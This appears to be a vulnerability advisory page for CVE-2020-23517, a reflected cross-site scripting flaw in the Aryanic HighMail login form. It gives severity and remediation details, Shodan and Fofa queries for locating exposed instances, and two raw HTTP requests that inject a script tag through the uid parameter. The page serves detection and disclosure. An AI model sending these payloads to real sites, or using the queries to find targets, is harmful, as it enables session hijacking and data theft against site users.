| Title | Aryanic HighMail (High CMS) - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. |
| CVSS Score | 6.1 |
| EPSS Score | 0.13375 |
| CVE ID | CVE-2020-23517 |
| CWE ID | CWE-79 |
| Shodan Query | title:"HighMail"http.title:"highmail" |
| Fofa Query | title="HighMail"title="highmail" |
| Tags | cve cve2020 xss cms highmail aryanic vuln |
A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via ‘user’ to LoginForm.
GET /login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-23517.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-23517.pcap
N/AN/A